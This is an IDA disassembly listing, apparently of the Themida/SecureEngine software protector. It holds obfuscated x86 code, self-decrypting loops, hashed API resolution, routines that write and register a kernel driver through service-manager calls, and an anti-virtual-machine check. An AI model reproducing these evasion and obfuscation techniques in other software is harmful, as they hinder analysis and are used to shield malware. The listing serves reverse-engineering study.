dd 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah, 8D000000h
dd 14B78CB5h, 0FEE806h, 0BD030000h, 614B7DFh, 0B7DFBD83h
dd 0F000614h, 0A84h, 0B585C700h, 1061218h, 8D000000h, 14B792B5h
dd 0D6E806h, 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h
dd 0A84h, 5185C700h, 106121Ah, 8D000000h, 14B798B5h, 0AEE806h
dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h
dd 8585C700h, 1061203h, 8D000000h, 14B7A6B5h, 86E806h
dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h
dd 9D85C700h, 106122Ch, 8D000000h, 14B7B3B5h, 5EE806h
dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h
dd 7985C700h, 1061207h, 8D000000h, 14B7BEB5h, 36E806h
dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h
dd 6D85C700h, 106121Ah, 0E9000000h, 1, 203F8047h, 9840Fh
dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
dd 1FE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h, 0F163817h
dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h
dd 0FFFFD085h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
dd 0D840Fh, 0F32B0000h, 0B7DFB589h, 0AE90614h, 0C7000000h
dd 14B7DF85h, 6, 0B8C36100h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz loc_572586
mov dword ptr [ebp+6121A15h], 0
loc_572586: ; CODE XREF: Themida_:00572576j
mov ecx, eax
jmp loc_57279B
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 4
dd 67h dup(0)
dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_57279B: ; CODE XREF: Themida_:00572588j
jmp loc_57288F
; ---------------------------------------------------------------------------
mov byte ptr [ebp+6122871h], 47h
push 0E3E45B86h
push dword ptr [ebp+61203B1h]
lea eax, [ebp+6123B5Dh]
call eax
push 104h
lea ebx, [ebp+6120F01h]
push ebx
call eax
push eax
lea esi, [ebp+614BD6Fh]
mov edi, esi
xor al, al
loc_5727D3: ; CODE XREF: Themida_:005727D4j
scasb
jnz loc_5727D3
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+6122871h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+61203B1h]
lea eax, [ebp+6123B5Dh]
call eax
lea esi, [ebp+6120F01h]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+6122871h], 57h
push 0A69BEE56h
push dword ptr [ebp+61203B1h]
lea eax, [ebp+6123B5Dh]
call eax
lea edi, [ebp+6121F95h]
lea ecx, [ebp+614BE95h]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_572871
lea esi, [ebp+614BB77h]
lea eax, [ebp+614A7DFh]
call eax
lea ecx, [ebp+6127277h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_572871: ; CODE XREF: Themida_:00572850j
mov byte ptr [ebp+6122871h], 43h
push 0C0764AA7h
push dword ptr [ebp+61203B1h]
lea eax, [ebp+6123B5Dh]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_57288F: ; CODE XREF: Themida_:loc_57279Bj
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5728A6
; ---------------------------------------------------------------------------
mov eax, ebx
loc_5728A6: ; CODE XREF: Themida_:0057289Fj
jmp loc_57607B
; ---------------------------------------------------------------------------
db 4Dh
dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
dd 40000000h, 8 dup(0)
dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
dd 240A0D0Dh, 0
dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
dd 887376h, 0
dd 4C000000h, 45h, 2000000h, 400h, 0
dd 14000380h, 5 dup(0)
dd 0C0000002h, 90000001h, 0
dd 7E000000h, 0
dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
dd 2C000000h, 38000001h, 1, 0
dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1
dd 0
dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h
dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h
dd 1000000h, 3000103h, 2 dup(0)
dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h
dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
dd 27h, 360h dup(0)
dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0)
dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
dd 527376h, 9C3h dup(0)
dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
dd 9 dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
cmp dword ptr [esi+0Ch], 0
jnz short loc_576050
xor eax, eax
jmp short locret_57606A
; ---------------------------------------------------------------------------
loc_576050: ; CODE XREF: Themida_:0057604Aj
cmp dword ptr [esi+0Ch], 1
jnz short locret_57606A
lea eax, large ds:0
mov edi, [esi+18h]
mov [edi], eax
mov dword ptr [esi+20h], 4
xor eax, eax
locret_57606A: ; CODE XREF: Themida_:0057604Ej
; Themida_:00576054j
retn
; ---------------------------------------------------------------------------
db 0Ch
aXprotvxd_ddb db 'XPROTVXD_DDB',0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57607B: ; CODE XREF: Themida_:loc_5728A6j
call sub_57608E
push ss
or [ebx-17h], esi
in eax, dx
lodsb
and dword ptr [esp+ebx*8-10A401EBh], 6Bh
; =============== S U B R O U T I N E =======================================
sub_57608E proc near ; CODE XREF: Themida_:loc_57607Bp
mov edi, [ebp+612074Dh]
pop edx
add edx, 5C20h
sub eax, eax
add [ebp+6120285h], edx
loc_5760A3: ; CODE XREF: sub_57608E+6Aj
push dword ptr [eax+edx]
mov ebx, [ebp+61204E9h]
pop ecx
pusha
push eax
push ecx
pop edx
pop ebx
jns loc_5760BE
add ecx, [ebp+61217A9h]
loc_5760BE: ; CODE XREF: sub_57608E+24j
popa
sub ecx, 31604152h
sub esi, [ebp+61229A9h]
add ecx, 438C6E81h
push ebx
add di, 3D7Eh
pop esi
xor ecx, 21C03A26h
mov esi, ecx
mov [edx+eax], ecx
mov [ebp+6122F81h], ebx
mov [ebp+612225Dh], esi
sub eax, 4
cmp eax, 0FFFFA460h
jnz loc_5760A3
mov ebx, [ebp+612108Dh]
jmp loc_5771C0
; ---------------------------------------------------------------------------
db 41h, 44h, 56h
dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0)
dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
dd 6172676Fh, 2E6Dh, 59h dup(0)
dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0)
dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
dd 0
dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
dd 68742072h, 65207369h, 726F7272h, 0
dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
dd 656E6968h, 70h dup(0)
dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h
dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
dd 21h dup(0)
dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------
loc_5771C0: ; CODE XREF: sub_57608E+76j
mov eax, esp
mov [ebp+6122C39h], esi
mov [ebp+612180Dh], eax
adc cx, 0B7F4h
mov eax, eax
push 0
push esi
call sub_5771E0
and [esi-3Dh], bl
sub_57608E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5771E0 proc near ; CODE XREF: sub_57608E+114Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5771E0 endp
; ---------------------------------------------------------------------------
dd 0E7650E18h, 2FDD8589h, 0BD830612h, 6121B91h, 83097500h
dd 1217DDBDh, 19740006h, 0C08B5350h, 43DB8h, 85858900h
dd 8D061200h, 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h, 61217h
dd 53501774h, 43DB8h, 85858900h, 8D061200h, 14AAFE9Dh
dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0D781E5B6h, 174D0BB1h, 0A927C981h
dd 8B605D3Fh, 121AD18Dh, 10E906h, 3FEE0000h, 0B3878BF8h
dd 0C867CE04h, 8179B86Eh, 8B617A03h, 68B0FC0h, 89000000h
dd 122DE1BDh, 0E8C08B06h, 10h, 0FCB37F40h, 3848BAEEh, 8AEB3D1h
dd 0B17AAE35h, 539B589h, 83590612h, 121B91BDh, 9750006h
dd 17DDBD83h, 74000612h, 8B535013h, 0B8C0h, 9D8D0000h
dd 614ACB1h, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535011h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+614AB62h]
call ebx
pop ebx
pop eax
mov [ebp+6121D29h], edx
cmc
mov eax, eax
push 0
push edi
call sub_57730A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57730A proc near ; CODE XREF: Themida_:00577302p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_57730A endp
; ---------------------------------------------------------------------------
dw 7114h
dd 8DE98039h, 5E8h, 5D0B9500h, 0BD0B508Fh, 6120461h, 0FC08B59h
dd 68Bh, 9D9D8900h, 83061203h, 121B91BDh, 9750006h, 17DDBD83h
dd 74000612h, 8B535013h, 0B8C0h, 9D8D0000h, 614ABE3h, 585BD3FFh
dd 17DDBD83h, 74000612h, 0B8535011h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+614AB30h]
call ebx
pop ebx
pop eax
mov [ebp+6121EADh], edx
sub [ebp+6120CD9h], esi
mov eax, eax
mov ecx, [ebp+61209DDh]
jns loc_57739C
push eax
pusha
popa
pop edi
loc_57739C: ; CODE XREF: Themida_:00577392j
mov eax, eax
mov cx, bx
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_5773B3
cmp dword ptr [ebp+61217DDh], 0
jz short loc_5773C6
loc_5773B3: ; CODE XREF: Themida_:005773A8j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+614AC4Ah]
call ebx
pop ebx
pop eax
loc_5773C6: ; CODE XREF: Themida_:005773B1j
cmp dword ptr [ebp+61217DDh], 0
jz short loc_5773E0
push eax
push ebx
mov eax, 0
lea ebx, [ebp+614AB49h]
call ebx
pop ebx
pop eax
loc_5773E0: ; CODE XREF: Themida_:005773CDj
push 0
push edi
call sub_5773EB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5773EB proc near ; CODE XREF: Themida_:005773E3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5773EB endp
; ---------------------------------------------------------------------------
db 93h
dd 0BE82837h, 0B000000h, 0D42A0A74h, 9561CE16h, 0F1B29972h
dd 0F5858959h, 6A06122Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0C318C356h, 0CDFCE8C9h
dd 0F2816695h, 8D89E8CCh, 6120575h, 0BD8BC08Bh, 6120D81h
dd 8589C08Bh, 6120E89h, 1B91BD83h, 75000612h, 0DDBD8309h
dd 61217h, 53501374h, 0B8C08Bh, 8D000000h, 14AB7C9Dh, 5BD3FF06h
dd 0A5B52958h, 80061215h, 0C08B02E5h, 6E5B529h, 0C08B0612h
dd 1AAD8D29h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh
dd 19740006h, 0C08B5350h, 7D0B8h, 85858900h, 8D061200h
dd 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h, 61217h, 53501774h
dd 7D0B8h, 85858900h, 8D061200h, 14AAFE9Dh, 5BD3FF06h
dd 5D950158h, 66061207h, 0C08BFB8Bh, 0D918589h, 85C60612h
dd 6122871h, 0D18B6653h, 395F9068h, 2D853199h, 0FF06121Bh
dd 1203B1B5h, 5D858D06h, 906123Bh, 12233595h, 66D0FF06h
dd 12E9D38Bh, 97000000h, 29FF1F5Fh, 0A638574Fh, 0C3B5112h
dd 0B2BC50F3h, 31858961h, 6A06121Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D26C351h
dd 8B664F43h, 0EE9F8h, 0DABD0000h, 0E53F11C9h, 7403BB0Fh
dd 47968122h, 287185C6h, 68570612h, 90045206h, 0ECADB966h
dd 3B1B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 3F743EC3h, 0FE7A6D2Eh, 92F18166h
dd 5D858D61h, 8906123Bh, 122ACDB5h, 0E8D0FF06h, 11h, 9BB94A35h
dd 0ED25A749h, 3E769B30h, 0B4A0F488h, 0BD8B52E1h, 6121119h
dd 85895959h, 6122CB5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0C5C35545h, 3607663Ch, 0E97CE55Ah, 34D98D09h
dd 85C60612h, 6122871h, 7FDA8043h, 90702868h, 19D89BCh
dd 81061213h, 0F07D8AE1h, 0B1B5FF58h, 66061203h, 858DD08Bh
dd 6123B5Dh, 81D0FFF9h, 0C182E6EFh, 0DD85897Ch, 89061226h
dd 122F4985h, 85C6F906h, 6122871h, 50006A4Ch, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 461A3EF8h
dd 0C1BD8949h, 66061234h, 686297B9h, 0D9DA1CE9h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h, 29AD3D0Ch
dd 1234A185h, 0B1B5FF06h, 0E8061203h, 11h, 3F942A4Ah, 0EF70D08Eh
dd 458E1A76h, 0C5B652Ah, 0D9816693h, 8D5FF331h, 123B5D85h
dd 298D0306h, 0FF061213h, 0A791BAD0h, 8589765Bh, 61220C1h
dd 1E058D29h, 85C60612h, 6122871h, 6146846h, 0BD8BBADEh
dd 6122DE9h, 12E9h, 0C50EB800h, 907BDD9Ch, 0BD48D5FCh
dd 0B0301CC3h, 0FF9F6096h, 1203B1B5h, 0CB8B6606h, 3B5D858Dh
dd 0FFF90612h, 0FE50BAD0h, 8589561Dh, 6122309h, 1958B50h
dd 5A06121Eh, 287185C6h, 23470612h, 1220718Dh, 0B5E26806h
dd 6A8A0Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 9D86D1C3h, 6D3D4CB4h, 35BD01C7h, 80061217h
dd 0B5FFCDF1h, 61203B1h, 13E860h, 0EDB30000h, 958D37DEh
dd 0AA404076h, 0DA2EC2A1h, 0EF30C15Ch, 850FB6h, 5B000000h
dd 61CFBF0Fh, 112D8D89h, 858D0612h, 6123B5Dh, 20E9B509h
dd 0DE90612h, 40000000h, 0A24645F2h, 645E263Ah, 0B2E598B6h
dd 0F781D0FFh, 28807EE3h, 9E18589h, 6A0612h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B70F0BC3h
dd 7185C6D2h, 47061228h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 4C35343h, 0A606A6E4h, 2D85A800h, 0F9B529C6h
dd 8106122Fh, 0EB96FFE9h, 0B5F36825h, 0B53183D0h, 61222F5h
dd 0DE9h, 32BAF800h, 0CA64B211h, 0DD788360h, 0B5FF767Fh
dd 61203B1h, 0F4CA8166h, 5D858DC2h, 6606123Bh, 8B0FF88Bh
dd 11h, 5E8h, 0F93BCC00h, 950385E3h, 6120A19h, 6AD0FF5Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 13B1C355h, 11E9h, 230BB300h, 0AFD31490h
dd 0D6E77FAh, 816F695h, 8589B08Dh, 6123025h, 0FAF78166h
dd 5985896Fh, 89061210h, 121C559Dh, 7185C606h, 77061228h
dd 0EE8h, 9E02A400h, 98410747h, 5E396686h, 0E9B5F995h
dd 13h, 51C0CB2Ch, 9DB129F9h, 7B6D69C5h, 0EA774680h, 5F271B65h
dd 97A8A368h, 0C88B66F3h, 1D39B5FFh, 8B660612h, 5D858DCFh
dd 6606123Bh, 0FFA531BAh, 0CBBF0FD0h, 23718589h, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 201038C3h, 30B83FAEh, 0E9F375FCh, 0Dh, 0F74023FBh, 0CD8E1285h
dd 1486E67Fh, 7185C6B9h, 47061228h, 68C9BF0Fh, 8728FAF6h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h
dd 3B1B5FFh, 8D8B0612h, 6122D91h, 3B5D858Dh, 8D0F0612h
dd 5, 16D78166h, 0E9D0FFEBh, 13h, 0E8DA52C1h, 7A19E9D7h
dd 4E4659C2h, 0D8878A62h, 8964A174h, 122FD985h, 0F98D8906h
dd 0C606121Bh, 12287185h, 6A4306h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 4F48F7C3h, 0D0C93B7Ch
dd 8B994965h, 1218B1BDh, 29BD8B06h, 68061204h, 0BC8E6EFCh
dd 0D8EBB966h, 3B1B5FFh, 8E0F0612h, 4, 654CB966h, 3B5D858Dh
dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0B9903EC3h, 298D8BF5h, 0FF061213h, 718D29D0h
dd 8906121Fh, 12042D85h, 0B98D3106h, 0C6061217h, 12287185h
dd 0BD294506h, 6121EFDh, 72696968h, 58D0F8Eh, 0B9000000h
dd 4EEF3C51h, 3B1B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 8DCA4BC3h, 0CB84546Ah
dd 8DD687F8h, 123B5D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 9864F812h, 820F6513h
dd 2, 0D0FFCF8Bh, 12E9h, 819FCA00h, 0C7E413E9h, 4BED4EEBh
dd 0AE6ABF72h, 89710C21h, 1230FD85h, 4810F06h, 66000000h
dd 0C6AE28BFh, 12287185h, 0D6804406h, 0EC64680Bh, 65BFB8F2h
dd 0FF018259h, 1203B1B5h, 0CE906h, 53720000h, 5B75743Ch
dd 5CEFF6FCh, 858DAAC4h, 6123B5Dh, 650CD781h, 0D0FF62E5h
dd 10759D89h, 60510612h, 0CE42BF66h, 8E0Fh, 5A610000h
dd 2D258589h, 85890612h, 6121B81h, 85C6FA8Bh, 6122871h
dd 68D68B43h, 0C0764AA7h, 0BE950h, 0BAE90000h, 6F1F0F09h
dd 0D75696BEh, 0B5FF59D7h, 61203B1h, 48E0Fh, 0BF660000h
dd 858D4E7Ch, 6123B5Dh, 0AB5E75B9h, 6AD0FF31h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 6536C352h, 9932B29Fh, 0A18589EFh, 8906121Bh, 121EA995h
dd 0E1BD8006h, 61502h, 0C1840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 26640EC3h
dd 0B4F181D0h, 8D0E5C38h, 1502C385h, 0FBB70F06h, 55006A50h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0E76F3Eh, 78DF8166h, 8B016AF9h, 1213FDBDh
dd 66006A06h, 8D1FE181h, 8D8B006Ah, 61215D1h, 2F4995FFh
dd 0E1810612h, 194B4CD7h, 14698589h, 8A0F0612h, 6, 34FDB509h
dd 0FF6A0612h, 69B5FFF5h, 6A061214h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1538C356h
dd 0C98166A2h, 0FFFC8FEDh, 122CB595h, 0A1BD8906h, 8B061219h
dd 91BD83C0h, 6121Bh, 0BD830975h, 61217DDh, 50197400h
dd 0B8C08B53h, 7D1h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh
dd 17DDBD83h, 74000612h, 0B8535017h, 7D1h, 858589h, 9D8D0612h
dd 614AAFEh, 585BD3FFh, 34758D8Bh, 9D890612h, 6120C91h
dd 1C999D89h, 0C08B0612h, 8BFFB70Fh, 122681BDh, 7185C606h
dd 47061228h, 0F7C168F5h, 6A93C8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 336F8AC3h, 0FFF98B66h
dd 1203B1B5h, 13E906h, 0F3710000h, 223B3FA7h, 0D054C64Eh
dd 1B3F4746h, 6D178251h, 5D858D69h, 8B06123Bh, 12095D95h
dd 0CFB70F06h, 0B966D0FFh, 8D5064F5h, 15070485h, 0B18D8B06h
dd 0C7061209h, 9400h, 0EE900h, 0AD530000h, 0CE5304E6h
dd 0BD00F74h, 0B68E4D4Eh, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 706DBC21h
dd 0FF4E522h, 0B58DFAB7h, 6150704h, 6656FA8Bh, 0F12AC181h
dd 8D89D0FFh, 61213EDh, 0F98D8B56h, 5A061218h, 704858Dh
dd 81660615h, 8B19F9E1h, 1234ED95h, 4788306h, 11850F06h
dd 89000000h, 12142195h, 9885C706h, 1061507h, 0F8000000h
dd 905BD83h, 0F000612h, 8C85h, 870F5600h, 0
; ---------------------------------------------------------------------------
pop edx
sub ch, 0B7h
cmp dword ptr [ebp+6150798h], 0
jnz loc_577E71
mov edi, edx
mov dl, 68h
cmp dword ptr [ebp+6121679h], 0
jz loc_577E71
push 0
push edi
call sub_577E19
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_577E19 proc near ; CODE XREF: Themida_:00577E11p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_577E19 endp
; ---------------------------------------------------------------------------
db 9Fh, 0ECh, 3Ch
dd 0FD9E38DFh, 8B1D66E2h, 120E3595h, 0DBD8B06h, 0C7061214h
dd 121D6585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0A836AB2h, 9A01E0EFh
dd 0B70FFA6Eh
db 0CAh
; ---------------------------------------------------------------------------
loc_577E71: ; CODE XREF: Themida_:00577DF7j
; Themida_:00577E08j
mov bx, ds
push 0
push ecx
call sub_577E7F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_577E7F proc near ; CODE XREF: Themida_:00577E77p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_577E7F endp
; ---------------------------------------------------------------------------
xor al, 0E9h
push 8589534Dh
cmc
adc al, 12h
push es
pop edx
test bl, 4
jz loc_578444
jmp loc_577EB4
; ---------------------------------------------------------------------------
db 71h, 5Bh, 0B8h
; ---------------------------------------------------------------------------
fsub st(1), st
mov al, ds:9CBD8393h
push ebp
loc_577EB4: ; CODE XREF: Themida_:00577EA4j
xor di, 2BCEh
mov dword ptr [ebp+61207ADh], 0
call near ptr loc_577ECF+1
fld dword ptr [edi-68h]
pushf
sbb es:[ebx], al
loc_577ECF: ; CODE XREF: Themida_:00577EC3p
add ecx, [ecx+120DA19Dh]
push es
pop ecx
cmp byte ptr [ebp+61502EEh], 0
jnz loc_577EEA
mov edi, [ebp+6121BC1h]
loc_577EEA: ; CODE XREF: Themida_:00577EDEj
mov byte ptr [ebp+6122871h], 47h
jge loc_577F01
jmp loc_577F01
; ---------------------------------------------------------------------------
dd 60B578ABh
db 0C4h
; ---------------------------------------------------------------------------
loc_577F01: ; CODE XREF: Themida_:00577EF1j
; Themida_:00577EF7j
